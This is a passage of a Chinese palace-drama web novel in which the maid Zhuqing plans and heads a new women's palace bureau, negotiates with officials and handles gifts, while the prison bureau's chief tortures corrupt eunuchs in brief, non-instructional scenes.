竹清慢慢用着曾妈妈是个耐不住性子的人与竹清说着悄悄话“那董妈妈在拉拢其他人仗着我现在忙她把手都伸进小宫女那里去了。说是认干亲哼当着我不知道呢?以干亲的名义捆着旁人再一起对付我我看起来岂是那样好欺负的?” “那你如何做?”竹清问曾妈妈有一套自己的生存法则论起智慧来也不差的。 “我……”曾妈妈絮絮叨叨听在耳里倒是很催眠就在竹清眯着眼睛预备睡过去的时候菊儿的一声喊让她猛地睁开眼睛。 “怎的了?菊儿。”曾妈妈止住了声音问菊儿见菊儿捧着一个礼盒进来她就看向竹清“定是给你的。” “是林忠海林公公的干儿子他托我把这些个给姑姑说里头有封信让姑姑拆开了看。”菊儿不敢自己做主便把礼盒放在旁边的小几上。 竹清拆了信件一目十行地看那林公公知道太子殿下要废除殿中省便急了找到她打听消息想知道是太子殿下一时想法还是殿中省真的会被取缔。 若是殿中省没了他这个大太监又能去哪儿?少不得又要找条路。 看竹清脸色曾妈妈已 经猜到了一个七七八八,她说道:“姑姑可别应他,往日你去殿中省,他也好茶好糕点地接待你,可那不过是惧怕你的身份,实际上你们情分不算多,他也未曾实实在在提携过你。” 说到底,竹清与林忠海相交都是因着利益,本质上是利益的交换,时至今日,她与林忠海,都没有多少真情实感。 “他求我打听,我却不敢应他。”竹清早已知道殿中省不保,这样的浑水她可不会倘,“不过他以前帮过我,我投桃报李,会帮他寻摸一个差事。” 就林忠海现在这个处境,日后能当个宫殿的管事公公都难,说不得命都得丢了。 “姑姑知恩图报,你别怪我多嘴,帮一回便罢了,你可别心软,你能帮他一时,却帮不了他一世。况且,他犯了错,虽然不是他直接负责的,却也有监管不力的罪。”曾妈妈也是怕林公公一直缠着竹清,涉及自己的前程,林公公定急得像热锅上的蚂蚁,有甚麽关系都得用上。 而竹清,那便是最好的人脉。 “我知道的。”竹清把信件放好,又摸了摸胳膊,“我这倒是因祸得福,避着他了。”若是能在外头行走,少不得经常遇见,一回两回,总不好随意打发他。 却说前头丧礼也不平静,林公公好不容易寻了个歇息的空子,一瘸一拐地坐下,问干儿子,“如何,信可送到了?” “送到了,是竹清姑姑身边那个叫菊儿的宫女收的,说是会亲手给竹清姑姑。”他干儿子也不大,十五六岁,正是不太经事的时候,见干爹遭殃,他忐忑不安地问道:“干爹,咱们殿中省真的会有不存在的那一日麽?到时我们该怎麽办?” 林忠海叹气,他被贬是肯定的了,找上竹清也不过是想让通一通关系,下半辈子不用那麽艰难。再有就是,他的干儿子也得过活呐,他不知道太子殿下决心有多重,如果殿中省不再,他的干儿子也得谋个出路,日后好给他养老。 风雨一连好几日,不见断的,淅淅沥沥,听得心里烦躁。 太子下令,让五皇子扶灵,送棺椁进帝陵。 “既父皇疼爱你,你也该尽孝才是,孤不得空,由你代孤去。”太子冷淡地看了五皇子一眼,许是真的被皇帝疼爱过,五皇子的伤心难过做不得假,眼眶红润,乌青两大块,遮都遮不住。 “是。”五皇子动了动嘴唇应了。只是言语中颇有些干涩他低着头想着方才看见的太子是何等的意气风发、清朗俊秀他是太子正统嫡出的储君。 即将登基为帝。 太子有许多事情要忙祁王谋反按理说他的家眷也应一同下大狱可查抄祁王府时官兵在祁王书房看见了一封休妻书上边明明白白写着祁王妃犯了七出之条被他休弃归家连同全哥儿也给了她。 这却是不合礼法。 皇室宗亲休妻是要上报帝王经过帝王允许且全哥儿可是记入玉牒的也就是族谱哪儿是他说给谁就给谁? 从这儿就能看出祁王对全哥儿其实并无太多的感情这个半路得来的儿子只怕不得他的眼呢! * “娘娘娘娘皇后娘娘……”椒房殿门口平妃被人搀扶着跪在地上哀泣不已不停地喊着要见皇后娘娘。 平妃就是从前的李贵嫔。 “皇后娘娘求您见一见臣妾见一见臣妾罢。”平妃磕头磕得额头正中间破损流血看起来十分可怖。 她这会儿却感觉不到身子上的疼痛只觉得一颗心像是裂开了几瓣痛得厉害。她的全哥儿怎的就过了这样的苦日子过继出去原以为是个好前程可如今卷入这等谋逆大事中还能有命在? “平妃娘娘皇后娘娘请你进去。”有小宫女说。 见到皇后的第一面平妃就跪下了嗓子沙哑地说道:“皇后娘娘求求您救救全哥儿罢他才十几岁正是不知事的时候哪儿会想着谋逆呢?” 皇后看她这样心里叹息“去打水来 她往常不说这样的话今日却说了重话就是怕平妃想不开跑去太子面前说这些个平白无故给自己惹事。 这个当口自然是自保为宜。 “娘娘全哥儿是臣妾身上掉下来的一块肉他那麽小臣妾就抱着他哄他睡觉他生病了臣妾几夜几夜不曾合眼替他擦手擦脚……叫臣妾不管他这如何使得呢?”平妃哭得成了一个泪人先前她的贴身嬷嬷还劝 她讨好陛下,像禧妃那样生个皇子,多一重保障。 可是新人入宫,她又年老色衰,比不得她们年青漂亮,故而不得宠,别说有孕,连见陛下都难。 全哥儿是她唯一一个孩子,怎能让她不管呢? “本宫知道你慈母心怀,可是这种事,不是你可以掺和,可以求情的。皇后说,这话倒是让平妃又簌簌流眼泪,“娘娘,臣妾也知道是这个道理,可是臣妾的心肝,却是受不得啊。 要是全哥儿因此活罪, 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“咱家承认这回错了,但是人活一辈子,总不能随遇而安。只是不知道太子殿下是何态度,这要是殿下给个机会,能让咱家将功补过,那就好了……林忠海试探性说道,他想从竹清这儿得一些口风。 “太子殿下这些日子忙,不得空去椒房殿,他的态度我无从而知。竹清说。林忠海显然很失望,而且一脸沮丧,一副“完了完了,吾命休矣的死样。竹清笑出声,话锋一转,说道:“但是,我还能猜到一二。 “此话何解?林忠海急急询问,甚至顾不得旁的,猛然蹿起身时还把凳子带倒了。 “殿中省管事的公公进去了十几个,按理说,你这样 的总管事也逃脱不了,可为何在进了行狱司一天后,你还能出来?这正是证明太子殿下想饶你一次,给了你宽裕时间去办事。”竹清这些天的确没见过太子,但是皇后也会与她说一些决定,所以她知道太子的打算。 “甚麽事?咱家能做到的,定去做。”林忠海低声下气,给竹清倒了白水又端过来一碟子果脯,这还不算,又给她捏肩捶背,伺候得明明白白。 竹清受了,又细细与他说道:“殿中省关系错综复杂,每个月都有许多的记档,教坊司出来的宫女分去哪个宫、每个月的月例银子分发、各家各府的冰敬炭敬、外头官窑进献的物件……林林总总,事情繁多,里头学问多了去了。”贪污、藏污纳垢、暗自挤兑人等等层出不穷,要想把尚宫局建立起来,需得把殿中省料理干净,起一个好头。 不然,尚宫局还像以前的殿中省,办事不利、运行缓慢,这跟没有改革有甚麽区别? “我观太子殿下的意思,应当是想你主动调查这些事,然后登记成册子,递交上去。如此,好方便主子们按照罪名一一惩罚那些太监嬷嬷。从前的事太子殿下管不着,但是有一个算一个,目前还在殿中省的所有人,都得查清楚呐。”竹清食指轻轻敲击桌面,一下一下,敲进了林忠海的心里。 他的心如同捣鼓,砰砰砰,很是忧愁与烦恼。要说殿中省没有阴私,那是假话。他不说十分清楚,那也知个九分,可是若他全部交代了,等于得罪了殿中省上下一竿子人。 要知道,有些犯了小错的,兴许打一顿还能在宫里当差啊!日后说不定要对付他了。 “林公公,这保全自身还是舍己为人,你可要仔细想清楚。”竹清不做声,这话是霜玉姑姑说的,她与林忠海年纪相仿,又是一个州出来的,自然肯劝他几分。 林忠海到底作了殿中省掌事太监多年,心里狠着呢,方才左思右想也不过是在思考后果以及后路,如今被霜玉姑姑一说,立时下定主意,把殿中省查个底朝天,将功补过! “做便做了!”他端起凉茶猛猛喝几口,一时间,有了一些豪爽之意。 * 且说又是国丧,宫里又装点素雅,再一下雪,整个皇宫就一片银白,有些死气沉沉,压得人心头不畅快。 勤政殿里,皇帝用过的一应物 件都换新太子坐在上首手里拿着林忠海递上去的状纸却不看只看向林忠海“难为你了几天搜罗出这些。” 看来关乎身家性命干活的速度果真大大上升。 “你回去罢这儿没你的事了。魏德盛传高丞相、上官丞相……”太子说。魏德盛明白这是要预备商议尚宫局的事。 椒房殿中菊儿正告状呢! “姑姑养病几日冬雨就抖起来了见天儿耍威风还有董妈妈隔三差五借着关心皇后娘娘的由头进殿中送吃食这几回下来倒也攒了娘娘跟前的几分颜面。”菊儿说的起兴恨不得教竹清姑姑立马痊愈往那一站就唬住了一众人。 “偏这样也就罢了她们还编排姑姑我有一回更衣不小心听见了。”更难听的就是诅咒姑姑胳膊落下病根子。 明面上她们对竹清多有尊敬只是背地里分成几派见天儿在斗争。又见竹清牢牢把着娘娘她们无法出头便也看不惯竹清。 竹清摇摇头皇后瞧着好说话可是内里情分却不是三两日能攒到的。 “你莫急这般我与你说……”竹清让菊儿附耳朵过来如此这般把法子说与她听 菊儿听了她的话果真去做那董妈妈与冬雨不知皇后的忌讳犯了教皇后好一顿发怒念在她俩有些脸面只训斥几句但是却下令不让董妈妈入内还有冬雨对她也不如以往好了。 雪幕盖住了盛京城寒风呜呜呜地吹着有扫宫道的粗使太监们耐不住性子说着近日宫中的趣事儿。 “欸你听说了吗?殿中省牌匾被取下来了听说要改设别的叫甚麽尚宫局……” 作者有话要说 还没有那么快完结嗷尚宫局后面的女子科考竹清要忙活的。还有宝子说感情线其实有一点点不成亲但是玩一玩还是可以的! 第 89 章 一品尚宫(修) 第89章一品尚宫(修) 胡族在边境虎视眈眈,先前被打跑的倭寇又屡屡骚/扰海岸的一些村落,太子可谓是忙得很,故而就把组建尚宫局的事交给了皇后,由她全权负责。 椒房殿中,皇后与竹清正对坐,商议着尚宫局该如何筹办起来。 “既然是不同于其他宫女太监,尚宫局的衣裳制样也应该略略有所不一样,还有品级,是复用从前的,还是咱们改动……”皇后拧眉,问题还是蛮多的,都需要时间。 竹清在纸上写写画画,闻言安抚皇后,“娘娘何必着急,尚宫局少说也要明年才能建成,如今是在安排,有不合适的就改,不妨事。就譬如尚宫局分为几个司?这不是娘娘的一句话麽?” 按照开国那时候的尚宫局来看,尚宫局一共分为三个司,分管不同的事情,下边设几个部门,就由司衣管理,如此一层一层把尚宫局构建起来。 “依奴婢之见,只三个司应当是不够的。”竹清说,开国时百废待兴,很多事情就像今天的殿中省,都是混杂在一起,你这个部门做得,我这个部门也做得,没个责任分配。 “嗯……你觉得分几个合适?毕竟以后你就是尚宫,你的提议很是受用,就说给本宫听听,本宫一时半会想不出。”皇后揉了揉额头,她也忙,忙着前朝又要管理后宫,要不是尚宫局过于重要离不得她,她都想直接让竹清负责这件事情了。 “八个?分别为:司衣司、司宝司、司正司、司计司、司仪司、司修司、司乐司、行狱司。主管这些司的女官便叫作司衣、司宝……只在前边加上姓,就可以教人明白身份。”竹清提议道,皇后听她语气,觉得她胸有成竹,便闭上眼睛,说道:“仔细说与本宫听,都分别管甚麽的。” 竹清便娓娓道来,“首先是司衣司,主管主子们与宫女太监们一年四季的衣裳,王公宗亲成亲的衣裳也由司衣司负责,把绣园的绣娘们并入司衣司,只她们还是呆在绣园做活,把绣园换个名字,改为司衣司即可。” “司衣司无甚繁重的任务,便不用下设其他部门,若是司衣司的司衣想要多设,也可以上报给尚宫,再由尚宫报与娘娘,批准后可建。” “司宝司掌管外头官窑、地方窑进献的珍宝、 玉器也管首饰打制。司正司处理宫中大大小小的案子有争端的只管让司正司去处理奴婢觉得行狱司就得与司正司合作却不能并入司正司唯恐权力过大。”竹清说相互制衡还好一些若是有那机会屈打成招的概率极大的上升。 “司计司计算宫中各项开支分管银粮。司仪司主管宫女太监还有秀女们的礼仪从前的教坊司就改成司仪司。司修司则是负责修建、修缮宫殿。”竹清停顿了一下说道:“至于行狱司娘娘也知道是做甚的了。” 司乐司这个乐不是音乐的乐而是娱乐的乐包含广甚麽唱戏的、跳舞的都在里头。 皇后颔首“如此便齐全了只还有一些需要细细斟酌比如司正司既然是处理案子那必定仿照官府设几个不同的长官……” “娘娘英明。”竹清就真的好似没有想到这一层抬起大眼睛表达对皇后的敬佩。 “至于服饰教绣园给几张样图上来做得好的通通有赏。”皇后吩咐她原本想要其他大宫女走一趟不过竹清揽下了这个活计“娘娘且叫奴婢去罢奴婢躺了恁久骨头都硬了正巧走动走动松一松筋骨。” “成下雪了雨天路滑本宫特赏你坐轿子你多带几个人预防着不够人手。”皇后如今对竹清可谓是百般纵容与关心又叮嘱她别留在室外太久以免风寒入体。 “奴婢省得了。”竹清笑着说。 * 绣园管事嬷嬷早收到了消息说是竹清要来这不 “巧嬷嬷不若您先回去烤火我替您在这里等着竹清姑姑不定还有多久才到呢。” 巧嬷嬷却不赞同“你不知道这样才显得我有孝呃诚心那竹清姑姑岂是可以随意打发的?” 她作为绣园的管事嬷嬷对于宫中传开了的尚宫局的事了解更多她可是清楚尚宫局是定会组建她虽然尚不清楚具体情况不过讨好着竹清肯定不错的说不得还能打探到别的消息。 “来了来了。”有小太监从门口跑进来与巧嬷嬷汇报。 “竹清姑姑可是很是没有见你了难得你亲自来绣园。”巧嬷嬷亲自替撩开轿帘子又扶竹清下来口中不敢怠慢“竹清姑姑慢 一些来我扶着你仔细碰到了哪儿伤口疼。” “巧嬷嬷最近面色红润可是有喜事。”竹清与巧嬷嬷也是老相识了故而与她闲谈就自由一些 “欸我那儿媳给我生了两个大胖孙子白白嫩嫩的让我好欢喜。”巧嬷嬷低声说道现在孝期呢不敢高声谈论喜事。 “那过阵子要庆贺庆贺了。”说是庆贺不过是杀一只鸡并几道大菜请叔伯兄弟吃个饭就成了。 巧嬷嬷把竹清迎进了内室这儿燃着炭烘得人浑身暖和寒气逐渐去了竹清喝了几口喝茶更觉得浑身暖呼呼。 “此次来绣园是奉了皇后娘娘的命令你们绣园画几张样图来是在尚宫局做活的女官太监们穿的再有尚宫、司衣、司正……她们的衣裳也要分出来样式上有别于一般的尚宫局女官。”竹清说“尚宫局多女官少太监且太监一般是做低等的活打杂、搬搬抬抬故而太监的衣裳倒不用很精致。” 巧嬷嬷一一记下来又问了好些细致的方面比如绣甚麽图案、是宽领子还是窄领子斜领子还是圆领子要不要配玉环不佩戴的话腰带处就可以设计得细一些掐出腰身。 说起这些巧嬷嬷讲得头头是道她作管事也是有一番真本事在身上的从前就是一等绣娘之后就是专门给皇后娘娘制衣故而她当初能当上管事还是皇后允许。 这般算她也是跟着皇后混的。 说罢衣裳样式的事就得说说鞋子、手帕、荷包……都得有个定式。 半个时辰后巧嬷嬷终于问完了已然口干舌燥狠狠灌了几大口茶汤才算完事见竹清面色平和也没开口说要走了似乎在等着甚麽她就试探性地问道:“竹清姑姑我能问一句那尚宫局是个如何模式?我们绣园还是单分出来还是怎麽样的?” 说起来她们绣园绣出来的衣裳、帕子甚麽的虽然经过殿中省再分去给主子们但是也只是这一道流程更别提高位主子们的东西都是不经殿中省直接送到各个宫里。 所以绣园与殿中省实际上是分开的井水不犯河水。 “你的消息倒是灵通。” 巧嬷嬷知道她只是打趣跟着说道:“都是为皇后娘娘当 差的不灵通不行竹清姑姑你说是不?” “是极。”竹清不好再逗她与她说道:“往后绣园就改为司衣司由尚宫局统管一应月例银子也由尚宫局派发。这绣园的牌匾会卸下来随后换上司衣司且我观这里有些许杂乱到时候可能还得修缮一下。” 果然这与巧嬷嬷想的有几分相合她思量一会儿说道:“那除了绣园还有旁的地儿并入尚宫局麽?竹清姑姑与我透个口风我不去外头大声只自己知道也好安心呐。” “教坊司、行狱司……”竹清一连说了好几个名字只把巧嬷嬷说得有些惊了她双眼微微瞪大惊叹道:“乖乖这可真是把整个宫里的都一网打尽了。欸我忽然想到一处既然分了恁多司那女官可是有品级的?” “这话我却与你没一个准皇后娘娘要与太子殿下商议过后才能决定呐毕竟有了品级就是大人也是能领俸禄、每年有冰敬炭敬等好物的。不过司衣司的管事叫司衣只比尚宫低一点。”竹清说这些可就不能由皇后一个人决定哪怕只是意思意思也得询问太子。 “这般……那竹清姑姑你看我能不能作司衣?”巧嬷嬷是个厚脸皮也不在乎比竹清年纪大就走到她身后替她揉肩做足了低姿态。 她怕这般大的变动少不得直接把她撸下去换一个旁的嬷嬷来管司衣司她作管事虽然时日不长但是也不想轻易下去的没了这等权力真教她生不如死。 “竹清姑姑你看如若能保我我给你厚礼如何?”巧嬷嬷见竹清不做声干脆直截了当地挑开来说能用银钱解决的事那都不叫事。 “厚礼?”竹清夹了一块糕点入口细细嚼着其实巧嬷嬷大概率不会被换只不过头顶上多了一个尚宫——也就是她管着。 只不过 出门子前皇后还与她说呢下边的人孝敬看着拿不好不拿无欲无求的管事教下边的人摸不准。 此行来绣园竹清也得先笼络好巧嬷嬷日后人一多也得有几个得力助手。尚宫局里的各司在刚开始时不可能每一个都真真正正服她需要时间慢慢收服。 这巧嬷嬷就是个不错的人选。 “自然是厚礼我哪儿敢 欺骗姑姑不与姑姑说大话我管着绣园给下边宫女太监们缝制衣裳时从来没有偷工减料那等事情我一概不允许绣娘做。”巧嬷嬷说得大义凛然给自己贴金。 这事还与竹清有些许关系先前绣园副管事有一个马嬷嬷那马嬷嬷惯是势利眼只爱钱财给下边宫女太监们的衣裳减了许多布料恰好就有教坊司的宫女们被薄待。 她干娘霜玉姑姑一看这还了得立马与马嬷嬷对付了起来虽然后头给教坊司送来的衣裳都合规矩了但是人也得罪。要不是见霜玉姑姑有一个能干的干女儿马嬷嬷还不定怎麽折腾霜玉姑姑呢! 这巧嬷嬷说自己不偷工减料说的就是这种事她不作也不让其他绣娘作。只在绣园里赚钱并不唯独这个法子。 布料进了绣园一匹料子里能剩下许多布头尤其是给皇子公主做衣裳能剩下的更甚 你说说绣园管事一年下来能挣多少?皇后也不是不知道内里实情只这点子东西她并不在意况且不给她们偷一点荤腥生出其他念头就不好了。 “欸这麽说起来我还要与娘娘赞你咧这般公正无私少不得给你做个司衣。”竹清终于松口喜得巧嬷嬷跟甚麽似的直说道:“竹清姑姑大恩过几日我请姑姑去我那吃饭给姑姑一份谢礼。” “对了我还有一事那尚宫局最大的女官可是尚宫?娘娘属意谁呢?”巧嬷嬷问道她有猜测却并不确定。 “她就在你眼前。”竹清拐个弯说。 “诶呦喂我这可是头彩第一个祝贺姑姑你了。”饶是有所猜测巧嬷嬷也想不到皇后居然真的教竹清这样年青的人作尚宫那可是女官呀虽然还没有定品级但是她查了从前的尚宫是三品官待遇与前朝官员一般。 面子、里子都有了这等官职非能力者不可为。 面前这个有可能是自个未来的上司巧嬷嬷态度更加热络一张脸笑得跟开了花一样恭维了好些话才慢慢止住了话头。 她有心想与竹清卖个好便说道:“姑姑方才听你的话那行狱司也是七司之一只是这个却不好收拢那行狱司的司长不是个好相与的。” 行狱司的司长是个男子,今年三十八,一张方正脸,最是容不得沙子的。不过这些都不算啥,往人群里一砸,都能砸中许多这种人。 司长最让人害怕的地方,是他的残暴。 “姑姑以为,能在行狱司有个名头的人能是甚麽好人?他有许多刑罚,专治进去的人,甚麽烧红的烙铁,割开伤口撒盐,用钉子沾上辣椒水刺人等等,这些都是轻的。最重的刑罚,得是他亲手作的一 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“他叫甚麽?哪里人?与他顽得好的都有谁?”竹清细问,既然以后归到她手下,自然该问清楚。 “黄时一,交州丹寨县人,跟他一起顽的有四个,分别叫……”巧嬷嬷这会子可是使劲儿上眼药,愤愤不平地说道:“他们是男子,惯常瞧不起女子,之前我那好友在里头时,我使银子疏通,进去看他。那些人还笑话我,说我一个娘们儿,小心吓破了胆子。” “我呸!”巧嬷嬷想起来,心头的火越烧越旺,“这关乎甚麽男女?那些人一张嘴流脓,净说不出好话来。” 行狱司的人不是太监,因有着忌讳,怕行狱司阴气重,所以里头的都是没有去势的男人。 连扫地的都是。 “他们见过血 本就是不怕的加上觉得自己能掌握旁人的生死就抖起来了觉得自个恁厉害平常是等闲人不放在眼里。”巧嬷嬷倒也不算完完全全报私仇她的话还是可以当真被听进去的。 竹清摸着手上的玉镯子按照巧嬷嬷这个意思行狱司是块硬骨头不好啃的得好好打听打听再想个法子治一治才行。 不然到时候他们不听话她也得跟着吃挂落总不能连累到她。 “这事我回去再想想你莫要担心既然日后是同一个地方出来的我不会教你向他们低头。”竹清安慰道她知道巧嬷嬷在担心甚麽。 “欸。”巧嬷嬷果然喜色软声软语把竹清送走待轿子消失在视线里她收敛了笑容身边的小宫女问她“嬷嬷何必委屈自个?” “为了前途厚脸皮已不算个事。”巧嬷嬷说又琢磨起该备一份儿甚麽样的礼物预备着庆贺这位未来上司尚宫大人伤势痊愈。 * 且说竹清从绣园出来后没有直接回椒房殿而是去了霜玉姑姑那霜玉姑姑正躲懒吃茶呐教坊司一片冷清。 竹清自个撑伞进去了没见着小宫女们就寻到内室里头弥漫着一股甜茶的味道霜玉姑姑见是她忙招呼“喝茶我刚闷的这冬日冷容易犯困需得喝上好几壶茶水压一压。” “她们呢?”竹清一边坐下一边问跟回家似的。 “无事又天寒地冻我便让她们去猫冬了何必大冷天的都要学规矩?没得糟蹋人。”霜玉姑姑眯着眼睛吃烤栗子。 栗子个头不大开了刀放在小泥炉上烤一刻钟后那开口膨胀起来逐渐往两边裂开露出里头黄橙橙的栗子放进嘴里仔细嚼嚼 香! “要不是当差要顾着礼仪我给你烤几个甜薯那才叫暖身子呢。”霜玉姑姑见竹清吃的香一连给她剥了好几个直到她不吃这才罢休。 “你打哪儿来?伤刚刚好别到处走我这里不缺甚麽你不用隔两日就过来。”霜玉姑姑说罢竹清就与她说了尚宫局的事。 “筹谋很久了定是能办成的。我这不是来给干娘送好消息的麽?您呐就等着作司仪罢陆司仪。”竹清挤眉弄眼打趣霜玉姑姑。 霜玉姑姑 与干娘送完消息竹清就回了天冷她也不愿意四处走动。 皇后正与太子商量晚上吃甚麽点了锅子又吩咐了好些菜。说罢这些个皇后就说了今日定下来的事宜。 “尚宫司衣、司仪这些还不够再细分几个品级譬如从前的掌珍掌典算是司正手底下的小管事。”太子更喜欢分工细致明确若还是像殿中省那般那就没有意思了。 “行待竹清回来本宫与她说说。只这些小管事就罢了你先定下尚宫以及八司的品级这样绣园的管事也好做相应的衣裳。”皇后说。 “我原是想着若日后女子能科考也要搜身总不能让男子搜故而尚宫局就有用处了让那些女官去。既如此这些女官品级就不宜过低得高一些才好让监考官以礼相待以免多生事端。”太子先是解释了缘由再说道:“尚宫就一品与丞相、太傅等大臣同等俸禄三百贯每年绫罗绸缎的赏赐。官袍是红袍绿带见了等级低的官员不必行礼……” “一品尚宫。”皇后默念突然莞尔一笑“倒是顺耳。” 能让竹清作一品除了往日的情分以及对她能力的肯定还有一层便是那日她救了太子。 “八司就二品待遇与三品大臣同等往下的职位尚未商讨完毕就暂缓。”太子说他往门口张望“怎的竹清姐姐还不回来?” “你急甚麽说起来我还没有问她甚麽时候去归义大将军家他家小儿子把竹清抱进后殿又请太医于情于理都要上门感谢一番。”皇后感叹道:“那日我看他貌似挺紧张的也不知他是不是……” 若果然如此他家怎可应? 作者有话要说 第 90 章 背刺 第90章背刺 殿中省一变动,还有谁不晓得天要变了,尤其是行狱司,进了许多获罪的太监嬷嬷,一个个的,上了刑,跟霜打的一样,半死不活。 有那些暂且没有轮到的就搁那咒骂,“林忠海你个死球的,竟然卖了我,换自己富贵,你个遭瘟,晚上睡觉警醒点,咱家做鬼都不会放过你…… 倒也不是所有人都进了这行狱司,只那些往日里贪污最重、欺上瞒下最厉害的太监与嬷嬷被太子殿下下令压进这里,那些负责审问的人打听清楚,便没有了顾忌,可劲儿地折腾他们。 “我平生最恨阉人,你们这些人还在宫里横行霸道,来人,把他给我压上刑台。一个方脸、面黑无须的中年男子大手一挥,坐在椅子上腿都没有抬一下,自有人为他效力。 两个虎背熊腰的男子拖死狗一般拖着一个太监出来,方才吩咐人的中年男子就说道:“给他上烙铁,让他习惯习惯。 “啊—— “咱家说,咱家都说……这个太监完完整整把自己逼死两个宫女、四个太监还有经常凭借职务之便谋利的事说了出来,有人在一旁记录。 “瞧瞧,咱们在这里一年到头都见不到那麽多银钱,这个死阉人短短一个月就能赚到了,你们说,他该不该死?方脸男子怒目圆睁,“把证词放在那,等下审问了其他人再一起呈交给太子殿下。 “你们、你们不能用刑……太监已经是出气多进气少,差不多要被折腾死了。 “司长,别和他废话,给他上一顿大刑罢? “药水放在那里,还有好些没有用过的,不用岂不是浪费了?司长,咱们给他用上? 司长有一个鹰钩鼻,配上他那个方脸,都能把人吓死,他点头,“给他用上。反正一个太监,到时候就说他受不住刑,自缢了。 “欸。旁边的人似乎已经疯了,竟然还笑出声,脸上带着愉悦,把太监拖下去折磨。 “司长,如今宫里都传开了,要组建尚宫局。根据打探来的消息,咱们行狱司也要并入尚宫局,司长,往后有个人在咱们上头压着,可就没有那麽便利了。一个较为 斯文的男子说,不同于面净的其他人,他还蓄了胡须,长长的,好似山羊胡。 眼下,他摸着山羊胡说道:“司长,这还不算呢,绣园那边给尚宫制的衣裳是女式的,也就是说,这个尚宫是个女子。” 女子?这话可戳到了司长,他回过神来,不再盯着头顶被开洞的太监,“甚麽,女的?” “正是。”山羊胡捻着胡子,“听闻她是皇后娘娘的心腹,往后当了尚宫,指不定如何管我们,我们要随意使用刑罚可就没有那麽容易了。而且,只怕还会有其他规矩需要遵守。” “哼!”司长不屑,“一个女子,竟然也能当尚宫?我跟你说,哪怕咱们行狱司归了她管,往后也不必听她的,依旧按照咱们行狱司的规定来。” “让她有名无实?”山羊胡也觉得可行,他也不想有个人事事管着自己,不过,比起司长,他心思更重一些,说道:“司长,现在她是敌是友尚未可知,不如,先拉拢她,要是她肯应,也是为我们寻了个保护伞。” 保护伞?司长犹豫了,显然,他也知道,自他作司长以来,得罪了不少人,只不过那些人暂时没有多大的权力地位能动他,可以后? “司长,这可是难得的机会,打好关系,若她不受,我们再忤逆她,倒也不亏。”山羊胡说,司长终于同意,让他去准备礼物。 * 许是边关动荡,又逢国丧,上官丞相病了,几日不曾上朝,太子殿下说改殿中省为尚宫局的提议竟没有遭到多少反驳的折子。有也只是提醒尚宫为一品过于高了,得降一降,降到三品,也很好了。 太子不允许,仍然按照自己的想法,开设尚宫局,尚宫为一品,享受与一品朝臣同等的待遇,往下是八司的二品,但是待遇只与三品朝臣同等,再就是各司手下的掌珍与掌典,是三品,与四品朝臣同等待遇,掌珍与掌典下面还有,为…… 像一个金字塔,最底下的女官多,往上走越来越少,直到金字塔的顶端——尚宫。 这还不止,太子殿下已经下令,尚宫局由椒房殿的竹清担任,尚宫局组建期间,就由她全权负责。 * 流水一般的贺礼送到了椒房殿的西侧殿。 “竹清姑姑,有人送了礼物来。”菊儿今日不当值,帮着竹清整理礼物, 她拿出礼单,突然“咦”了一声,赶忙走到竹清身边,说道:“姑姑,这是黄时一送来的,姑姑,他也送礼?” 宫中谁不闻行狱司色变?行狱司的一花一草在他们看来都是不详的,何况是人。 “我看看,拆开了礼瞧瞧有甚麽额外给的?”竹清说,菊儿听了,照做,找出了几块金条。 “还真是富裕。”竹清意味不明地说了一句,行狱司,怎麽可能没有油水? “他们也想巴结姑姑,送的贺礼却送不进姑姑心坎,这些物件,都是那些臭男人才会喜欢的,他们看也不看,直接送了来,哪儿瞧得起姑姑?”菊儿也不是挑拨离间,而是真心为竹清感到不值得,但凡他们有诚意一些,她都不会这样说。 “傻姑娘。”竹清拍了拍菊儿的肩膀,说道:“他们送这些我更加高兴,这就证明了他们看不起我,往后我教训他们,也不用手下留情。” “这金条先放着,我等下拿去给皇后娘娘看看。”竹清说,要想动一动行狱司,必得知会皇后。 西侧殿被礼品淹没,几乎有头有脸的嬷嬷、掌事太监,甚至御前的大太监也让人送来了贺礼,另有一番结交之意。 红花帮着收拾,如今她投靠了竹清,被竹清考核了一段时间,见她心性不错,又肯吃苦耐劳,竹清便与皇后说,把她调到了二等宫女的位子上,管着皇后养的鸟儿。 先前不少人说她巴结竹清,可如今看了她作二等宫女,其他人便学着她的路子,也想巴结上,可惜,竹清一概不看的。 “把礼单都记好,我日后回礼要用上。”竹清见菊儿认真,便止住了声音,脑子里回想他们送的贺礼,思考日后送甚麽回礼。 宫里人情世故到处都是,像现在的送礼回礼,都是有讲究,这意味着她不只是要知道是谁送的,还要知道那人甚麽时候有喜事,能让她回礼。 所幸,这些事情她从前在王府就已经得心应手,这会子倒也不会手忙脚乱,她拿起纸笔,开始记下回礼的礼物名字。 * 谋逆之事落下帷幕,太子已经与大臣们商议好这些逆党的下场,威德大将军株连九族,祁王腰斩,至于祁王书写的和离书,他不允。祁王妃与祁王府唯一一个嫡子去为先帝守皇陵,终身不得出。 其他参与 谋反的士兵,与威德大将军亲近者同诛九族,其余夷三族。另外有一直给祁王送银钱的商会会长,抄家,银钱入国库,三个儿子皆在后背打“奴 灵感寺的大师为祁王提供谋害先帝的毒药,同样除以极刑;宫中的太监为祁王安排刺杀的小太监,腰斩。 斩首、抄家、落狱、流放,林林总总,这一场谋逆之事才最终结束。宫里也曾经经过一阵扫荡,死了不少太监宫女,不管无不无辜,但凡是牵扯进去了的,通通下狱。 关进了刑部大牢,那可真是等死了。 那个帮祁王行方便的太监恰好竹清认识,只是不熟。听闻是极为公正的一个人,据说从不欺负下面的人,有人犯了错,也不会仗着亲疏关系就偏袒某个人。 只,他为了祁王,动了私心。 有个去观刑的小太监回来与人说,那太监临死前,嘴里喃喃自语,“当年你救我一命,如今我还你一命。 听了这句话,竹清忽的想起来他是谁了,很久以前,皇帝寿辰上,祁王与他在御花园不清不楚,那时,他还是个貌美的小太监。 此事没有引起一丝涟漪,竹清转头就抛到脑后,她亲手收拾出几份厚礼,又询问了皇后,怕这礼品人家不满意。 “呀,连药材都有,这不是本宫以前赏你的?皇后翻看了一下,点点头,“不错,归义大将军的两个儿子受了伤,这些药材送过去正好。这心意已经到了,你亲自送去,诚意更足。 “奴婢也这样想,预备着与娘娘请假,往归义大将军府上去,只是奴婢不知如何下帖子,总有些尴尬。竹清平静地说道,富贵人家来往,都是需要提前告知,像这种登门拜访,都得下了帖子,说明时间,人家回帖,同意了才能上门。 可是她只是一个奴婢,递一张帖子去归义大将军府,只怕门房看都不看,把它丢一边。 “莫怕,本宫让人知会一声,让他们把你帖子留着,如此,就不怕了罢?皇后笑着说,竹清立马喜笑颜开,皇后就指着她,语气无奈,“机灵,还要本宫主动说。 